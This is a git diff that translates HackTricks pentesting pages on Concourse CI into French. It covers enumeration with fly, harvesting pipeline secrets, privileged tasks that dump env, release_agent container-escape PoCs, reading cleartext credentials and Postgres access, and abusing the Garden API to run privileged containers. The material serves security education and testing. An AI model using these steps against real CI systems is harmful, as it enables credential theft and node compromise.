-[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
-The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
-Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
+Dans les configurations YAML, vous pouvez configurer des valeurs en utilisant la syntaxe `((_source-name_:_secret-path_._secret-field_))`.\
+[Extrait de la documentation :](https://concourse-ci.org/vars.html#var-syntax) Le **nom de la source est optionnel**, et s'il est omis, le [gestionnaire de credentials à l'échelle du cluster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) sera utilisé, ou la valeur peut être fournie [statiquement](https://concourse-ci.org/vars.html#static-vars).\
+Le **champ \_secret-field**\_ optionnel spécifie un champ sur le secret récupéré à lire. S'il est omis, le gestionnaire de credentials peut choisir de lire un 'champ par défaut' du credential récupéré si le champ existe.\
+De plus, le _**secret-path**_ et le _**secret-field**_ peuvent être entourés de guillemets doubles `"..."` s'ils **contiennent des caractères spéciaux** comme `.` et `:`. Par exemple, `((source:"my.secret"."field:1"))` définira le _secret-path_ sur `my.secret` et le _secret-field_ sur `field:1`.
 
-#### Static Vars
-
-Static vars can be specified in **tasks steps**:
+#### Vars Statiques
 
+Les vars statiques peuvent être spécifiées dans les **étapes de tâches** :
 ```yaml
 - task: unit-1.13
-  file: booklit/ci/unit.yml
-  vars: { tag: 1.13 }
+file: booklit/ci/unit.yml
+vars: { tag: 1.13 }
 ```
+Or en utilisant les `fly` **arguments** suivants :
 
-Or using the following `fly` **arguments**:
+- `-v` ou `--var` `NAME=VALUE` définit la chaîne `VALUE` comme valeur pour la var `NAME`.
+- `-y` ou `--yaml-var` `NAME=VALUE` analyse `VALUE` comme YAML et le définit comme valeur pour la var `NAME`.
+- `-i` ou `--instance-var` `NAME=VALUE` analyse `VALUE` comme YAML et le définit comme valeur pour la var d'instance `NAME`. Voir [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) pour en savoir plus sur les vars d'instance.
+- `-l` ou `--load-vars-from` `FILE` charge `FILE`, un document YAML contenant le mappage des noms de var aux valeurs, et les définit tous.
 
-- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
-- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
-- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
-- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
+#### Gestion des Identifiants
 
-#### Credential Management
+Il existe différentes manières de spécifier un **Gestionnaire d'Identifiants** dans un pipeline, lisez comment dans [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
+De plus, Concourse prend en charge différents gestionnaires d'identifiants :
 
-There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
-Moreover, Concourse supports different credential managers:
-
-- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
-- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
-- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
-- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
-- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
-- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
-- [Caching credentials](https://concourse-ci.org/creds-caching.html)
-- [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
-- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
+- [Le gestionnaire d'identifiants Vault](https://concourse-ci.org/vault-credential-manager.html)
+- [Le gestionnaire d'identifiants CredHub](https://concourse-ci.org/credhub-credential-manager.html)
+- [Le gestionnaire d'identifiants AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html)
+- [Le gestionnaire d'identifiants AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html)
+- [Gestionnaire d'Identifiants Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html)
+- [Le gestionnaire d'identifiants Conjur](https://concourse-ci.org/conjur-credential-manager.html)
+- [Mise en cache des identifiants](https://concourse-ci.org/creds-caching.html)
+- [Rédaction des identifiants](https://concourse-ci.org/creds-redacting.html)
+- [Réessayer les récupérations échouées](https://concourse-ci.org/creds-retry-logic.html)
 
 > [!CAUTION]
-> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
+> Notez que si vous avez un certain type d'**accès en écriture à Concourse**, vous pouvez créer des jobs pour **exfiltrer ces secrets** car Concourse doit pouvoir y accéder.
 
-### Concourse Enumeration
+### Énumération Concourse
 
-In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
+Pour énumérer un environnement concourse, vous devez d'abord **rassembler des identifiants valides** ou trouver un **jeton authentifié**, probablement dans un fichier de configuration `.flyrc`.
 
-#### Login and Current User enum
+#### Connexion et énumération de l'utilisateur actuel
 
-- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
-  - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
-- Get configured **targets**:
-  - `fly targets`
-- Get if the configured **target connection** is still **valid**:
-  - `fly -t <target> status`
-- Get **role** of the user against the indicated target:
-  - `fly -t <target> userinfo`
+- Pour vous connecter, vous devez connaître l'**endpoint**, le **nom de l'équipe** (par défaut `main`) et une **équipe à laquelle l'utilisateur appartient** :
+- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
+- Obtenez les **cibles configurées** :
+- `fly targets`
+- Vérifiez si la **connexion cible configurée** est toujours **valide** :
+- `fly -t <target> status`
+- Obtenez le **rôle** de l'utilisateur par rapport à la cible indiquée :
+- `fly -t <target> userinfo`
 
 > [!NOTE]
-> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
+> Notez que le **jeton API** est **sauvegardé** par défaut dans `$HOME/.flyrc`, en fouillant une machine, vous pourriez y trouver les identifiants.
 
-#### Teams & Users
+#### Équipes & Utilisateurs
 
-- Get a list of the Teams
-  - `fly -t <target> teams`
-- Get roles inside team
-  - `fly -t <target> get-team -n <team-name>`
-- Get a list of users
-  - `fly -t <target> active-users`
+- Obtenez une liste des Équipes
+- `fly -t <target> teams`
+- Obtenez les rôles au sein de l'équipe
+- `fly -t <target> get-team -n <team-name>`
+- Obtenez une liste des utilisateurs
+- `fly -t <target> active-users`
 
 #### Pipelines
 
-- **List** pipelines:
-  - `fly -t <target> pipelines -a`
-- **Get** pipeline yaml (**sensitive information** might be found in the definition):
-  - `fly -t <target> get-pipeline -p <pipeline-name>`
-- Get all pipeline **config declared vars**
-  - `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
-- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
-
+- **Lister** les pipelines :
+- `fly -t <target> pipelines -a`
+- **Obtenir** le yaml du pipeline (**des informations sensibles** peuvent être trouvées dans la définition) :
+- `fly -t <target> get-pipeline -p <pipeline-name>`
+- Obtenez toutes les **vars déclarées dans la config du pipeline**
+- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
+- Obtenez tous les **noms de secrets de pipeline utilisés** (si vous pouvez créer/modifier un job ou détourner un conteneur, vous pourriez les exfiltrer) :
 ```bash
 rm /tmp/secrets.txt;
 for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
-    echo $pipename;
-    fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
-    echo "";
+echo $pipename;
+fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
+echo "";
 done
 echo ""
 echo "ALL SECRETS"
 cat /tmp/secrets.txt | sort | uniq
 rm /tmp/secrets.txt
 ```
+#### Conteneurs & Travailleurs
 
-#### Containers & Workers
+- Lister **travailleurs** :
+- `fly -t <target> workers`
+- Lister **conteneurs** :
+- `fly -t <target> containers`
+- Lister **constructions** (pour voir ce qui est en cours d'exécution) :
+- `fly -t <target> builds`
 
-- List **workers**:
-  - `fly -t <target> workers`
-- List **containers**:
-  - `fly -t <target> containers`
-- List **builds** (to see what is running):
-  - `fly -t <target> builds`
+### Attaques Concourse
 
-### Concourse Attacks
-
-#### Credentials Brute-Force
+#### Brute-Force des Identifiants
 
 - admin:admin
 - test:test
 
-#### Secrets and params enumeration
+#### Énumération des secrets et des paramètres
 
-In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
+Dans la section précédente, nous avons vu comment vous pouvez **obtenir tous les noms et variables des secrets** utilisés par le pipeline. Les **variables peuvent contenir des informations sensibles** et le nom des **secrets sera utile plus tard pour essayer de les voler**.
 
-#### Session inside running or recently run container
-
-If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `<pipeline>/<job>` **container** using:
+#### Session à l'intérieur d'un conteneur en cours d'exécution ou récemment exécuté
 
+Si vous avez suffisamment de privilèges (**rôle de membre ou plus**), vous serez en mesure de **lister les pipelines et les rôles** et d'obtenir simplement une **session à l'intérieur** du conteneur `<pipeline>/<job>` en utilisant :
 ```bash
 fly -t tutorial intercept --job pipeline-name/job-name
 fly -t tutorial intercept # To be presented a prompt with all the options
 ```
+Avec ces permissions, vous pourriez être en mesure de :
 
-With these permissions you might be able to:
+- **Voler les secrets** à l'intérieur du **conteneur**
+- Essayer de **s'échapper** vers le nœud
+- Énumérer/Abuser de l'**endpoint de métadonnées cloud** (depuis le pod et depuis le nœud, si possible)
 
-- **Steal the secrets** inside the **container**
-- Try to **escape** to the node
-- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
-
-#### Pipeline Creation/Modification
-
-If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
+#### Création/Modification de Pipeline
 
+Si vous avez suffisamment de privilèges (**rôle de membre ou plus**), vous pourrez **créer/modifier de nouveaux pipelines.** Vérifiez cet exemple :
 ```yaml
 jobs:
-  - name: simple
-    plan:
-      - task: simple-task
-        privileged: true
-        config:
-          # Tells Concourse which type of worker this task should run on
-          platform: linux
-          image_resource:
-            type: registry-image
-            source:
-              repository: busybox # images are pulled from docker hub by default
-          run:
-            path: sh
-            args:
-              - -cx
-              - |
-                echo "$SUPER_SECRET"
-                sleep 1000
-          params:
-            SUPER_SECRET: ((super.secret))
+- name: simple
+plan:
+- task: simple-task
+privileged: true
+config:
+# Tells Concourse which type of worker this task should run on
+platform: linux
+image_resource:
+type: registry-image
+source:
+repository: busybox # images are pulled from docker hub by default
+run:
+path: sh
+args:
+- -cx
+- |
+echo "$SUPER_SECRET"
+sleep 1000
+params:
+SUPER_SECRET: ((super.secret))
 ```
+Avec la **modification/création** d'un nouveau pipeline, vous pourrez :
 
-With the **modification/creation** of a new pipeline you will be able to:
+- **Voler** les **secrets** (en les affichant ou en accédant au conteneur et en exécutant `env`)
+- **Échapper** au **nœud** (en vous donnant suffisamment de privilèges - `privileged: true`)
+- Énumérer/Abuser de l'endpoint **cloud metadata** (depuis le pod et depuis le nœud)
+- **Supprimer** le pipeline créé
 
-- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
-- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
-- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
-- **Delete** created pipeline
-
-#### Execute Custom Task
-
-This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
+#### Exécuter une tâche personnalisée
 
+C'est similaire à la méthode précédente, mais au lieu de modifier/créer un tout nouveau pipeline, vous pouvez **juste exécuter une tâche personnalisée** (ce qui sera probablement beaucoup plus **discret**) :
 ```yaml
 # For more task_config options check https://concourse-ci.org/tasks.html
 platform: linux
 image_resource:
-  type: registry-image
-  source:
-    repository: ubuntu
+type: registry-image
+source:
+repository: ubuntu
 run:
-  path: sh
-  args:
-    - -cx
-    - |
-      env
-      sleep 1000
+path: sh
+args:
+- -cx
+- |
+env
+sleep 1000
 params:
-  SUPER_SECRET: ((super.secret))
+SUPER_SECRET: ((super.secret))
 ```
 
 ```bash
 fly -t tutorial execute --privileged --config task_config.yml
 ```
+#### Évasion vers le nœud depuis une tâche privilégiée
 
-#### Escaping to the node from privileged task
-
-In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
-
-In the following PoC we are going to use the release_agent to escape with some small modifications:
+Dans les sections précédentes, nous avons vu comment **exécuter une tâche privilégiée avec concourse**. Cela ne donnera pas au conteneur exactement le même accès que le drapeau privilégié dans un conteneur docker. Par exemple, vous ne verrez pas le périphérique du système de fichiers du nœud dans /dev, donc l'évasion pourrait être plus "complexe".
 
+Dans le PoC suivant, nous allons utiliser le release_agent pour échapper avec quelques petites modifications :
 ```bash
 # Mounts the RDMA cgroup controller and create a child cgroup
 # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
@@ -270,14 +259,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
 # Reads the output
 cat /output
 ```
-
 > [!WARNING]
-> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
+> Comme vous l'avez peut-être remarqué, il s'agit simplement d'une [**évasion régulière de release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) en modifiant simplement le chemin de la cmd dans le nœud
 
-#### Escaping to the node from a Worker container
-
-A regular release_agent escape with a minor modification is enough for this:
+#### Évasion vers le nœud depuis un conteneur Worker
 
+Une évasion régulière de release_agent avec une légère modification suffit pour cela :
 ```bash
 mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
 
@@ -304,13 +291,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
 # Reads the output
 cat /output
 ```
+#### Évasion vers le nœud depuis le conteneur Web
 
-#### Escaping to the node from the Web container
-
-Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
-
-However, it stores **local credentials in clear text**:
+Même si le conteneur web a certaines défenses désactivées, il **ne fonctionne pas comme un conteneur privilégié commun** (par exemple, vous **ne pouvez pas** **monter** et les **capacités** sont très **limitées**, donc toutes les façons simples de s'échapper du conteneur sont inutiles).
 
+Cependant, il stocke **des identifiants locaux en texte clair** :
 ```bash
 cat /concourse-auth/local-users
 test:test
@@ -319,11 +304,9 @@ env | grep -i local_user
 CONCOURSE_MAIN_TEAM_LOCAL_USER=test
 CONCOURSE_ADD_LOCAL_USER=test:test
 ```
+Vous pouvez utiliser ces identifiants pour **vous connecter au serveur web** et **créer un conteneur privilégié et échapper au nœud**.
 
-You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
-
-In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
-
+Dans l'environnement, vous pouvez également trouver des informations pour **accéder à l'instance postgresql** que concourse utilise (adresse, **nom d'utilisateur**, **mot de passe** et base de données parmi d'autres informations) :
 ```bash
 env | grep -i postg
 CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
@@ -344,39 +327,35 @@ select * from refresh_token;
 select * from teams; #Change the permissions of the users in the teams
 select * from users;
 ```
-
-#### Abusing Garden Service - Not a real Attack
+#### Abuser du service Garden - Pas une véritable attaque
 
 > [!WARNING]
-> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
+> Ce ne sont que quelques notes intéressantes sur le service, mais comme il n'écoute que sur localhost, ces notes n'auront aucun impact que nous n'avons pas déjà exploité auparavant.
 
-By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
+Par défaut, chaque worker concourse exécutera un service [**Garden**](https://github.com/cloudfoundry/garden) sur le port 7777. Ce service est utilisé par le maître Web pour indiquer au worker **ce qu'il doit exécuter** (télécharger l'image et exécuter chaque tâche). Cela semble plutôt bon pour un attaquant, mais il y a quelques bonnes protections :
 
-- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
-- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
-
-Concourse workers run with high container privileges:
+- Il est **exposé localement** (127..0.0.1) et je pense que lorsque le worker s'authentifie contre le Web avec le service SSH spécial, un tunnel est créé afin que le serveur web puisse **communiquer avec chaque service Garden** à l'intérieur de chaque worker.
+- Le serveur web **surveille les conteneurs en cours d'exécution toutes les quelques secondes**, et les conteneurs **inattendus** sont **supprimés**. Donc, si vous voulez **exécuter un conteneur personnalisé**, vous devez **manipuler** la **communication** entre le serveur web et le service garden.
 
+Les workers concourse s'exécutent avec des privilèges élevés de conteneur :
 ```
 Container Runtime: docker
 Has Namespaces:
-	pid: true
-	user: false
+pid: true
+user: false
 AppArmor Profile: kernel
 Capabilities:
-	BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
+BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
 Seccomp: disabled
 ```
-
-However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
+Cependant, des techniques comme **monter** le périphérique /dev du nœud ou release_agent **ne fonctionneront pas** (car le véritable périphérique avec le système de fichiers du nœud n'est pas accessible, seulement un virtuel). Nous ne pouvons pas accéder aux processus du nœud, donc s'échapper du nœud sans exploits du noyau devient compliqué.
 
 > [!NOTE]
-> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
+> Dans la section précédente, nous avons vu comment s'échapper d'un conteneur privilégié, donc si nous pouvons **exécuter** des commandes dans un **conteneur privilégié** créé par le **travailleur** **actuel**, nous pourrions **s'échapper vers le nœud**.
 
-Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
-
-**Getting inside a running privileged container**
+Notez qu'en jouant avec concourse, j'ai remarqué que lorsqu'un nouveau conteneur est créé pour exécuter quelque chose, les processus du conteneur sont accessibles depuis le conteneur de travailleur, donc c'est comme un conteneur créant un nouveau conteneur à l'intérieur de lui.
 
+**Entrer dans un conteneur privilégié en cours d'exécution**
 ```bash
 # Get current container
 curl 127.0.0.1:7777/containers
@@ -389,30 +368,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
 # Execute a new process inside a container
 ## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
 wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
-  --header='Content-Type:application/json' \
-  'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
+--header='Content-Type:application/json' \
+'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
 
 # OR instead of doing all of that, you could just get into the ns of the process of the privileged container
 nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
 ```
+**Créer un nouveau conteneur privilégié**
 
-**Creating a new privileged container**
-
-You can very easily create a new container (just run a random UID) and execute something on it:
-
+Vous pouvez très facilement créer un nouveau conteneur (il suffit d'exécuter un UID aléatoire) et d'exécuter quelque chose dessus :
 ```bash
 curl -X POST http://127.0.0.1:7777/containers \
-   -H 'Content-Type: application/json' \
-   -d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
+-H 'Content-Type: application/json' \
+-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
 
 # Wget will be stucked there as long as the process is being executed
 wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
-  --header='Content-Type:application/json' \
-  'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
+--header='Content-Type:application/json' \
+'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
 ```
-
-However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
-
+Cependant, le serveur web vérifie toutes les quelques secondes les conteneurs qui s'exécutent, et si un conteneur inattendu est découvert, il sera supprimé. Comme la communication se fait en HTTP, vous pourriez altérer la communication pour éviter la suppression de conteneurs inattendus :
 ```
 GET /containers HTTP/1.1.
 Host: 127.0.0.1:7777.
@@ -434,13 +409,8 @@ Host: 127.0.0.1:7777.
 User-Agent: Go-http-client/1.1.
 Accept-Encoding: gzip.
 ```
-
-## References
+## Références
 
 - https://concourse-ci.org/vars.html
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
index 0cc6363a7..b426dc31a 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
@@ -1,26 +1,23 @@
-# Concourse Lab Creation
+# Création de laboratoire Concourse
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Testing Environment
+## Environnement de test
 
-### Running Concourse
+### Exécution de Concourse
 
-#### With Docker-Compose
-
-This docker-compose file simplifies the installation to do some tests with concourse:
+#### Avec Docker-Compose
 
+Ce fichier docker-compose simplifie l'installation pour effectuer des tests avec concourse :
 ```bash
 wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
 docker-compose up -d
 ```
+Vous pouvez télécharger la ligne de commande `fly` pour votre système d'exploitation depuis le web à `127.0.0.1:8080`
 
-You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
-
-#### With Kubernetes (Recommended)
-
-You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
+#### Avec Kubernetes (Recommandé)
 
+Vous pouvez facilement déployer concourse dans **Kubernetes** (dans **minikube** par exemple) en utilisant le helm-chart : [**concourse-chart**](https://github.com/concourse/concourse-chart).
 ```bash
 brew install helm
 helm repo add concourse https://concourse-charts.storage.googleapis.com/
@@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse
 # If you need to delete it
 helm delete concourse-release
 ```
-
-After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
-
+Après avoir généré l'environnement concourse, vous pouvez générer un secret et donner un accès au SA exécuté dans concourse web pour accéder aux secrets K8s :
 ```yaml
 echo 'apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRole
 metadata:
-  name: read-secrets
+name: read-secrets
 rules:
 - apiGroups: [""]
-  resources: ["secrets"]
-  verbs: ["get"]
+resources: ["secrets"]
+verbs: ["get"]
 
 ---
 
 apiVersion: rbac.authorization.k8s.io/v1
 kind: RoleBinding
 metadata:
-  name: read-secrets-concourse
+name: read-secrets-concourse
 roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: read-secrets
+apiGroup: rbac.authorization.k8s.io
+kind: ClusterRole
+name: read-secrets
 subjects:
 - kind: ServiceAccount
-  name: concourse-release-web
-  namespace: default
+name: concourse-release-web
+namespace: default
 
 ---
 
 apiVersion: v1
 kind: Secret
 metadata:
-  name: super
-  namespace: concourse-release-main
+name: super
+namespace: concourse-release-main
 type: Opaque
 data:
-  secret: MWYyZDFlMmU2N2Rm
+secret: MWYyZDFlMmU2N2Rm
 
 ' | kubectl apply -f -
 ```
+### Créer un Pipeline
 
-### Create Pipeline
-
-A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
+Un pipeline est composé d'une liste de [Jobs](https://concourse-ci.org/jobs.html) qui contient une liste ordonnée de [Steps](https://concourse-ci.org/steps.html).
 
 ### Steps
 
-Several different type of steps can be used:
+Plusieurs types de steps différents peuvent être utilisés :
 
-- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
-- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
-- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
-- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
-- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
-- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
-- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
-- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
-- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
+- **le** [**`task` step**](https://concourse-ci.org/task-step.html) **exécute une** [**task**](https://concourse-ci.org/tasks.html)
+- le [`get` step](https://concourse-ci.org/get-step.html) récupère une [resource](https://concourse-ci.org/resources.html)
+- le [`put` step](https://concourse-ci.org/put-step.html) met à jour une [resource](https://concourse-ci.org/resources.html)
+- le [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configure un [pipeline](https://concourse-ci.org/pipelines.html)
+- le [`load_var` step](https://concourse-ci.org/load-var-step.html) charge une valeur dans une [local var](https://concourse-ci.org/vars.html#local-vars)
+- le [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) exécute des steps en parallèle
+- le [`do` step](https://concourse-ci.org/do-step.html) exécute des steps en séquence
+- le [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) exécute un step plusieurs fois ; une fois pour chaque combinaison de valeurs de variables
+- le [`try` step](https://concourse-ci.org/try-step.html) tente d'exécuter un step et réussit même si le step échoue
 
-Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
